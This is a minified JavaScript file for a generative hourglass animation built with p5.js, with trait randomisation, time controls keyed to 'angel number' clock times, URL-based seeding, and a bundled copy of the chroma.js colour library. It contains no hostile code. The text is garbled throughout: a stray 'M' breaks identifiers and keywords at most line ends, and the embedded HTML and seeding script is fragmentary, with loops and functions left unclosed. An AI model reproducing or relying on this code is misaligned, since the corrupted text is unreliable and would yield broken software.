ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
